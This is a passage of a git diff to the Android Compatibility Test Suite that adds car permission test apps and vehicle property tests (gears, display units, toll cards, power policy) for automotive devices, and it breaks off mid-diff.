+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.car.cts.permissioncarexteriorenvironment">
+    <application android:label="PermissionCarExteriorEnvironment">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:label="Permission CAR_EXTERIOR_ENVIRONMENT Test"
+                     android:targetPackage="android.car.cts.permissioncarexteriorenvironment">
+    </instrumentation>
+
+    <uses-feature android:name="android.hardware.type.automotive"/>
+
+    <uses-permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT"/>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/car/PermissionCarExteriorEnvironment/src/android/car/cts/permissioncarexteriorenvironment/PermissionCarExteriorEnvironmentTest.java b/tests/tests/car/PermissionCarExteriorEnvironment/src/android/car/cts/permissioncarexteriorenvironment/PermissionCarExteriorEnvironmentTest.java
new file mode 100644
index 0000000..33d2792
--- /dev/null
+++ b/tests/tests/car/PermissionCarExteriorEnvironment/src/android/car/cts/permissioncarexteriorenvironment/PermissionCarExteriorEnvironmentTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.permissioncarexteriorenvironment;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.car.Car;
+import android.car.VehiclePropertyIds;
+import android.car.hardware.CarPropertyConfig;
+import android.car.hardware.property.CarPropertyManager;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot get car related permissions.")
+public final class PermissionCarExteriorEnvironmentTest {
+    private static final ImmutableList<Integer> PERMISSION_CAR_EXTERIOR_ENVIRONMENT_PROPERTIES =
+            ImmutableList.<Integer>builder().add(
+                    VehiclePropertyIds.NIGHT_MODE, VehiclePropertyIds.ENV_OUTSIDE_TEMPERATURE)
+                    .build();
+
+    private CarPropertyManager mCarPropertyManager;
+
+    @Before
+    public void setUp() {
+        mCarPropertyManager =
+                (CarPropertyManager) Car.createCar(
+                        InstrumentationRegistry.getInstrumentation().getContext()).getCarManager(
+                        Car.PROPERTY_SERVICE);
+        assertThat(mCarPropertyManager).isNotNull();
+    }
+
+    @Test
+    public void testPermissionCarExteriorEnvironmentGranted() {
+        for (CarPropertyConfig<?> carPropertyConfig : mCarPropertyManager.getPropertyList()) {
+            assertWithMessage("%s",
+                    VehiclePropertyIds.toString(carPropertyConfig.getPropertyId())).that(
+                    carPropertyConfig.getPropertyId()).isIn(
+                    PERMISSION_CAR_EXTERIOR_ENVIRONMENT_PROPERTIES);
+        }
+    }
+
+    @CddTest(requirement = "2.5.1")
+    @Test
+    public void testRequiredPropertyAvailableWithPermissionCarExteriorEnvironmentGranted() {
+        assertWithMessage("%s", VehiclePropertyIds.toString(VehiclePropertyIds.NIGHT_MODE))
+                .that(mCarPropertyManager.getCarPropertyConfig(
+                        VehiclePropertyIds.NIGHT_MODE)).isNotNull();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/boottest/app/Android.bp b/tests/tests/car/PermissionCarPowertrain/Android.bp
similarity index 72%
copy from hostsidetests/packagemanager/boottest/app/Android.bp
copy to tests/tests/car/PermissionCarPowertrain/Android.bp
index d1a3271..ee0dbca 100644
--- a/hostsidetests/packagemanager/boottest/app/Android.bp
+++ b/tests/tests/car/PermissionCarPowertrain/Android.bp
@@ -17,15 +17,24 @@
 }
 
 android_test_helper_app {
-    name: "CtsPackageManagerBootTestStubApp",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
+    name: "CtsCarPermissionCarPowertrainTest",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: [
+        "src/**/*.java",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
     ],
-    sdk_version: "current",
-    manifest: "AndroidManifest.xml",
-    compile_multilib: "both",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "ctstestrunner-axt",
+    ],
+    libs: [
+        "android.test.base",
+        "android.car-test-stubs",
+    ],
 }
\ No newline at end of file
diff --git a/tests/tests/car/PermissionCarPowertrain/AndroidManifest.xml b/tests/tests/car/PermissionCarPowertrain/AndroidManifest.xml
new file mode 100644
index 0000000..3859892
--- /dev/null
+++ b/tests/tests/car/PermissionCarPowertrain/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.car.cts.permissioncarpowertrain">
+    <application android:label="PermissionCarPowertrain">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:label="Permission CAR_POWERTRAIN Test"
+                     android:targetPackage="android.car.cts.permissioncarpowertrain">
+    </instrumentation>
+
+    <uses-feature android:name="android.hardware.type.automotive"/>
+
+    <uses-permission android:name="android.car.permission.CAR_POWERTRAIN"/>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/car/PermissionCarPowertrain/src/android/car/cts/permissioncarpowertrain/PermissionCarPowertrainTest.java b/tests/tests/car/PermissionCarPowertrain/src/android/car/cts/permissioncarpowertrain/PermissionCarPowertrainTest.java
new file mode 100644
index 0000000..c92c5b9
--- /dev/null
+++ b/tests/tests/car/PermissionCarPowertrain/src/android/car/cts/permissioncarpowertrain/PermissionCarPowertrainTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.permissioncarpowertrain;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.car.Car;
+import android.car.VehiclePropertyIds;
+import android.car.hardware.CarPropertyConfig;
+import android.car.hardware.property.CarPropertyManager;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot get car related permissions.")
+public final class PermissionCarPowertrainTest {
+    private static final ImmutableList<Integer> PERMISSION_CAR_POWERTRAIN_PROPERTIES =
+            ImmutableList.<Integer>builder().add(
+                    VehiclePropertyIds.GEAR_SELECTION, VehiclePropertyIds.CURRENT_GEAR,
+                    VehiclePropertyIds.PARKING_BRAKE_ON,
+                    VehiclePropertyIds.PARKING_BRAKE_AUTO_APPLY, VehiclePropertyIds.IGNITION_STATE)
+                    .build();
+
+    private CarPropertyManager mCarPropertyManager;
+
+    @Before
+    public void setUp() {
+        mCarPropertyManager =
+                (CarPropertyManager) Car.createCar(
+                        InstrumentationRegistry.getInstrumentation().getContext()).getCarManager(
+                        Car.PROPERTY_SERVICE);
+        assertThat(mCarPropertyManager).isNotNull();
+    }
+
+    @Test
+    public void testPermissionCarPowertrainGranted() {
+        for (CarPropertyConfig<?> carPropertyConfig : mCarPropertyManager.getPropertyList()) {
+            assertWithMessage("%s", VehiclePropertyIds.toString(carPropertyConfig.getPropertyId()))
+                    .that(carPropertyConfig.getPropertyId()).isIn(
+                    PERMISSION_CAR_POWERTRAIN_PROPERTIES);
+        }
+    }
+
+    @CddTest(requirement = "2.5.1")
+    @Test
+    public void testRequiredPropertyAvailableWithPermissionCarPowertrainGranted() {
+        assertWithMessage("%s", VehiclePropertyIds.toString(VehiclePropertyIds.GEAR_SELECTION))
+                .that(mCarPropertyManager.getCarPropertyConfig(
+                        VehiclePropertyIds.GEAR_SELECTION)).isNotNull();
+        assertWithMessage("%s", VehiclePropertyIds.toString(VehiclePropertyIds.PARKING_BRAKE_ON))
+                .that(mCarPropertyManager.getCarPropertyConfig(
+                        VehiclePropertyIds.PARKING_BRAKE_ON)).isNotNull();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/boottest/app/Android.bp b/tests/tests/car/PermissionReadCarDisplayUnits/Android.bp
similarity index 71%
copy from hostsidetests/packagemanager/boottest/app/Android.bp
copy to tests/tests/car/PermissionReadCarDisplayUnits/Android.bp
index d1a3271..57fbc20 100644
--- a/hostsidetests/packagemanager/boottest/app/Android.bp
+++ b/tests/tests/car/PermissionReadCarDisplayUnits/Android.bp
@@ -17,15 +17,24 @@
 }
 
 android_test_helper_app {
-    name: "CtsPackageManagerBootTestStubApp",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
+    name: "CtsCarPermissionReadCarDisplayUnitsTest",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: [
+        "src/**/*.java",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
     ],
-    sdk_version: "current",
-    manifest: "AndroidManifest.xml",
-    compile_multilib: "both",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "ctstestrunner-axt",
+    ],
+    libs: [
+        "android.test.base",
+        "android.car-test-stubs",
+    ],
 }
\ No newline at end of file
diff --git a/tests/tests/car/PermissionReadCarDisplayUnits/AndroidManifest.xml b/tests/tests/car/PermissionReadCarDisplayUnits/AndroidManifest.xml
new file mode 100644
index 0000000..8e59b0a
--- /dev/null
+++ b/tests/tests/car/PermissionReadCarDisplayUnits/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.car.cts.permissionreadcardisplayunits">
+    <application android:label="PermissionReadCarDisplayUnits">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:label="Permission READ_CAR_DISPLAY_UNITS Test"
+                     android:targetPackage="android.car.cts.permissionreadcardisplayunits">
+    </instrumentation>
+
+    <uses-feature android:name="android.hardware.type.automotive"/>
+
+    <uses-permission android:name="android.car.permission.READ_CAR_DISPLAY_UNITS"/>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/car/PermissionReadCarDisplayUnits/src/android/car/cts/permissionreadcardisplayunits/PermissionReadCarDisplayUnitsTest.java b/tests/tests/car/PermissionReadCarDisplayUnits/src/android/car/cts/permissionreadcardisplayunits/PermissionReadCarDisplayUnitsTest.java
new file mode 100644
index 0000000..54c68e7
--- /dev/null
+++ b/tests/tests/car/PermissionReadCarDisplayUnits/src/android/car/cts/permissionreadcardisplayunits/PermissionReadCarDisplayUnitsTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.permissionreadcardisplayunits;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.car.Car;
+import android.car.VehiclePropertyIds;
+import android.car.hardware.CarPropertyConfig;
+import android.car.hardware.property.CarPropertyManager;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot get car related permissions.")
+public final class PermissionReadCarDisplayUnitsTest {
+    private static final ImmutableList<Integer> PERMISSION_READ_CAR_DISPLAY_UNITS_PROPERTIES =
+            ImmutableList.<Integer>builder().add(
+                    VehiclePropertyIds.DISTANCE_DISPLAY_UNITS,
+                    VehiclePropertyIds.FUEL_VOLUME_DISPLAY_UNITS,
+                    VehiclePropertyIds.TIRE_PRESSURE_DISPLAY_UNITS,
+                    VehiclePropertyIds.EV_BATTERY_DISPLAY_UNITS,
+                    /*VehiclePropertyIds.VEHICLE_SPEED_DISPLAY_UNITS=*/ 289408516,
+                    VehiclePropertyIds.FUEL_CONSUMPTION_UNITS_DISTANCE_OVER_VOLUME)
+                    .build();
+
+    private CarPropertyManager mCarPropertyManager;
+
+    @Before
+    public void setUp() {
+        mCarPropertyManager =
+                (CarPropertyManager) Car.createCar(
+                        InstrumentationRegistry.getInstrumentation().getContext()).getCarManager(
+                        Car.PROPERTY_SERVICE);
+        assertThat(mCarPropertyManager).isNotNull();
+    }
+
+    @Test
+    public void testPermissionReadCarDisplayUnitsGranted() {
+        for (CarPropertyConfig<?> carPropertyConfig : mCarPropertyManager.getPropertyList()) {
+            assertWithMessage("%s",
+                    VehiclePropertyIds.toString(carPropertyConfig.getPropertyId())).that(
+                    carPropertyConfig.getPropertyId()).isIn(
+                    PERMISSION_READ_CAR_DISPLAY_UNITS_PROPERTIES);
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
index e00de5b..369bc31 100644
--- a/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
@@ -30,6 +30,7 @@
 import android.car.Car;
 import android.car.media.CarAudioManager;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Pair;
 import android.view.KeyEvent;
 
@@ -49,6 +50,7 @@
 import java.util.regex.Pattern;
 
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant Apps cannot get car related permissions")
 public final class CarAudioManagerTest extends CarApiTestBase {
 
     private static long WAIT_TIMEOUT_SECS = 5;
diff --git a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
index b4f50d3..b739f86 100644
--- a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
+++ b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
@@ -28,6 +28,7 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.util.Log;
@@ -56,6 +57,7 @@
 @SmallTest
 @RequiresDevice
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant Apps cannot get Bluetooth related permissions")
 public class CarBluetoothTest {
     @ClassRule
     public static final RequiredFeatureRule sRequiredFeatureRule = new RequiredFeatureRule(
diff --git a/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java b/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
index cb0ac55..4cb1019 100644
--- a/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
@@ -23,6 +23,7 @@
 import android.car.hardware.power.CarPowerPolicy;
 import android.car.hardware.power.CarPowerPolicyFilter;
 import android.car.hardware.power.PowerComponent;
+import android.platform.test.annotations.AppModeFull;
 import android.test.suitebuilder.annotation.SmallTest;
 
 import androidx.annotation.Nullable;
@@ -40,12 +41,14 @@
 import java.util.concurrent.TimeUnit;
 
 @SmallTest
+@AppModeFull(reason = "Instant Apps cannot get car related permissions")
 public final class CarPowerManagerTest extends CarApiTestBase {
     private static String TAG = CarPowerManagerTest.class.getSimpleName();
     private static final int LISTENER_WAIT_TIME_MS = 1000;
     private static final int NO_WAIT = 0;
 
     private CarPowerManager mCarPowerManager;
+    private String mInitialPowerPolicyId;
     private final Executor mExecutor = mContext.getMainExecutor();
 
     @Override
@@ -53,6 +56,15 @@
     public void setUp() throws Exception {
         super.setUp();
         mCarPowerManager = (CarPowerManager) getCar().getCarManager(Car.POWER_SERVICE);
+        mInitialPowerPolicyId = mCarPowerManager.getCurrentPowerPolicy().getPolicyId();
+    }
+
+    @After
+    public void teardown() throws Exception {
+        CarPowerPolicy policy = mCarPowerManager.getCurrentPowerPolicy();
+        if (!mInitialPowerPolicyId.equals(policy.getPolicyId())) {
+            applyPowerPolicy(mInitialPowerPolicyId);
+        }
     }
 
     /**
@@ -96,6 +108,8 @@
         makeSureExecutorReady();
         assertWithMessage("Added location listener's current policy")
                 .that(listenerLocation.getCurrentPolicyId(NO_WAIT)).isNull();
+
+        applyPowerPolicy(mInitialPowerPolicyId);
     }
 
     private void makeSureExecutorReady() throws Exception {
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index 6ba7425..ac17aac 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -28,12 +28,15 @@
 import android.car.VehicleAreaSeat;
 import android.car.VehicleAreaType;
 import android.car.VehicleAreaWheel;
+import android.car.VehicleGear;
 import android.car.VehiclePropertyIds;
 import android.car.cts.utils.VehiclePropertyVerifier;
 import android.car.hardware.CarPropertyConfig;
 import android.car.hardware.CarPropertyValue;
 import android.car.hardware.property.CarPropertyManager;
 import android.car.hardware.property.CarPropertyManager.CarPropertyEventCallback;
+import android.car.hardware.property.VehicleElectronicTollCollectionCardStatus;
+import android.car.hardware.property.VehicleElectronicTollCollectionCardType;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
@@ -73,6 +76,39 @@
                     PortLocationType.FRONT_LEFT, PortLocationType.FRONT_RIGHT,
                     PortLocationType.REAR_RIGHT, PortLocationType.REAR_LEFT,
                     PortLocationType.FRONT, PortLocationType.REAR).build();
+    private static final ImmutableSet<Integer> VEHICLE_GEARS =
+            ImmutableSet.<Integer>builder().add(VehicleGear.GEAR_UNKNOWN,
+                    VehicleGear.GEAR_NEUTRAL, VehicleGear.GEAR_REVERSE,
+                    VehicleGear.GEAR_PARK, VehicleGear.GEAR_DRIVE,
+                    VehicleGear.GEAR_FIRST, VehicleGear.GEAR_SECOND,
+                    VehicleGear.GEAR_THIRD, VehicleGear.GEAR_FOURTH,
+                    VehicleGear.GEAR_FIFTH, VehicleGear.GEAR_SIXTH,
+                    VehicleGear.GEAR_SEVENTH, VehicleGear.GEAR_EIGHTH,
+                    VehicleGear.GEAR_NINTH).build();
+    private static final ImmutableSet<Integer> DISTANCE_DISPLAY_UNITS =
+            ImmutableSet.<Integer>builder().add(/*VehicleUnit.MILLIMETER=*/
+                    0x20, /*VehicleUnit.METER=*/ 0x21,
+                    /*VehicleUnit.KILOMETER=*/0x23, /*VehicleUnit.MILE=*/0x24).build();
+    private static final ImmutableSet<Integer> VOLUME_DISPLAY_UNITS =
+            ImmutableSet.<Integer>builder().add(/*VehicleUnit.MILLILITER=*/
+                    0x40, /*VehicleUnit.LITER=*/0x41,
+                    /*VehicleUnit.US_GALLON=*/0x42, /*VehicleUnit.IMPERIAL_GALLON=*/0x43).build();
+    private static final ImmutableSet<Integer> PRESSURE_DISPLAY_UNITS =
+            ImmutableSet.<Integer>builder().add(/*VehicleUnit.KILOPASCAL=*/
+                    0x70, /*VehicleUnit.PSI=*/0x71,
+                    /*VehicleUnit.BAR=*/0x72).build();
+    private static final ImmutableSet<Integer> BATTERY_DISPLAY_UNITS =
+            ImmutableSet.<Integer>builder().add(
+                    /*VehicleUnit.MILLIAMPERE=*/ 0x61,
+                    /*VehicleUnit.MILLIVOLT=*/ 0x62,
+                    /*VehicleUnit.MILLIWATTS=*/ 0x63,
+                    /*VehicleUnit.WATT_HOUR=*/ 0x60,
+                    /*VehicleUnit.AMPERE_HOURS=*/ 0x64,
+                    /*VehicleUnit.KILOWATT_HOUR=*/ 0x65).build();
+    private static final ImmutableSet<Integer> SPEED_DISPLAY_UNITS =
+            ImmutableSet.<Integer>builder().add(/*VehicleUnit.METER_PER_SEC=*/0x01,
+                    /*VehicleUnit.MILES_PER_HOUR=*/ 0x90,
+                    /*VehicleUnit.KILOMETERS_PER_HOUR=*/ 0x91).build();
     /** contains property Ids for the properties required by CDD */
     private final ArraySet<Integer> mPropertyIds = new ArraySet<>();
     private CarPropertyManager mCarPropertyManager;
@@ -195,17 +231,9 @@
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
                 VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
                 CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Integer.class).requireProperty().setConfigArrayVerifier(
-                configArray -> assertWithMessage(
-                        "GEAR_SELECTION config array must specify supported gears")
-                        .that(configArray.size())
-                        .isGreaterThan(0)).setCarPropertyValueVerifier(
-                (carPropertyConfig, carPropertyValue) -> assertWithMessage(
-                        "GEAR_SELECTION Integer value must be listed as supported gear in "
-                                + "configArray")
-                        .that(carPropertyConfig.getConfigArray().contains(
-                                carPropertyValue.getValue())).isTrue())
-                .build().verify(mCarPropertyManager);
+                Integer.class).requireProperty().setPossibleConfigArrayValues(
+                VEHICLE_GEARS).requirePropertyValueTobeInConfigArray().build().verify(
+                mCarPropertyManager);
     }
 
     @CddTest(requirement = "2.5.1")
@@ -228,6 +256,15 @@
                 Float.class).requireProperty().build().verify(mCarPropertyManager);
     }
 
+    @Test
+    public void testPerfVehicleSpeedDisplayIfSupported() {
+        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_VEHICLE_SPEED_DISPLAY,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                Float.class).build().verify(mCarPropertyManager);
+    }
+
     @CddTest(requirement = "2.5.1")
     @Test
     public void testMustSupportParkingBrakeOn() {
@@ -458,7 +495,7 @@
     public void testInfoDriverSeatIfSupported() {
         VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.INFO_DRIVER_SEAT,
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
                 CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
                 Integer.class).setCarPropertyValueVerifier(
                 (carPropertyConfig, carPropertyValue) -> {
@@ -471,7 +508,12 @@
                                     VehicleAreaSeat.SEAT_ROW_1_LEFT,
                                     VehicleAreaSeat.SEAT_ROW_1_CENTER,
                                     VehicleAreaSeat.SEAT_ROW_1_RIGHT).build());
-                }).build().verify(mCarPropertyManager);
+                }).setAreaIdsVerifier(areaIds -> assertWithMessage(
+                "Even though INFO_DRIVER_SEAT is VEHICLE_AREA_TYPE_SEAT, it is meant to be "
+                        + "VEHICLE_AREA_TYPE_GLOBAL, so its AreaIds must contain a single 0")
+                .that(areaIds).isEqualTo(
+                        new int[]{VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL})).build()
+                .verify(mCarPropertyManager);
     }
 
     @Test
@@ -495,6 +537,54 @@
     }
 
     @Test
+    public void testElectronicTollCollectionCardTypeIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.ELECTRONIC_TOLL_COLLECTION_CARD_TYPE,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Integer.class).setCarPropertyValueVerifier(
+                (carPropertyConfig, carPropertyValue) -> {
+                    Integer electronicTollCollectionCardType =
+                            (Integer) carPropertyValue.getValue();
+                    assertWithMessage(
+                            "ELECTRONIC_TOLL_COLLECTION_CARD_TYPE value must be a valid "
+                                    + "VehicleElectronicTollCollectionCardType").that(
+                            electronicTollCollectionCardType).isIn(ImmutableSet.builder().add(
+                            VehicleElectronicTollCollectionCardType.UNKNOWN,
+                            VehicleElectronicTollCollectionCardType.
+                                    JP_ELECTRONIC_TOLL_COLLECTION_CARD,
+                            VehicleElectronicTollCollectionCardType.
+                                    JP_ELECTRONIC_TOLL_COLLECTION_CARD_V2).build());
+                }).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testElectronicTollCollectionCardStatusIfSupported() {
+        VehiclePropertyVerifier.newBuilder(
+                VehiclePropertyIds.ELECTRONIC_TOLL_COLLECTION_CARD_STATUS,
+                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                Integer.class).setCarPropertyValueVerifier(
+                (carPropertyConfig, carPropertyValue) -> {
+                    Integer electronicTollCollectionCardStatus =
+                            (Integer) carPropertyValue.getValue();
+                    assertWithMessage(
+                            "ELECTRONIC_TOLL_COLLECTION_CARD_STATUS value must be a valid "
+                                    + "VehicleElectronicTollCollectionCardStatus").that(
+                            electronicTollCollectionCardStatus).isIn(ImmutableSet.builder().add(
+                            VehicleElectronicTollCollectionCardStatus.UNKNOWN,
+                            VehicleElectronicTollCollectionCardStatus.
+                                    ELECTRONIC_TOLL_COLLECTION_CARD_VALID,
+                            VehicleElectronicTollCollectionCardStatus.
+                                    ELECTRONIC_TOLL_COLLECTION_CARD_INVALID,
+                            VehicleElectronicTollCollectionCardStatus.
+                                    ELECTRONIC_TOLL_COLLECTION_CARD_NOT_INSERTED).build());
+                }).build().verify(mCarPropertyManager);
+    }
+
+    @Test
     public void testEnvOutsideTemperatureIfSupported() {
         VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ENV_OUTSIDE_TEMPERATURE,
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
@@ -509,17 +599,9 @@
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
                 VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
                 CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Integer.class).setConfigArrayVerifier(
-                configArray -> assertWithMessage(
-                        "CURRENT_GEAR config array must specify supported gears")
-                        .that(configArray.size())
-                        .isGreaterThan(0)).setCarPropertyValueVerifier(
-                (carPropertyConfig, carPropertyValue) -> assertWithMessage(
-                        "CURRENT_GEAR Integer value must be listed as supported gear in "
-                                + "configArray")
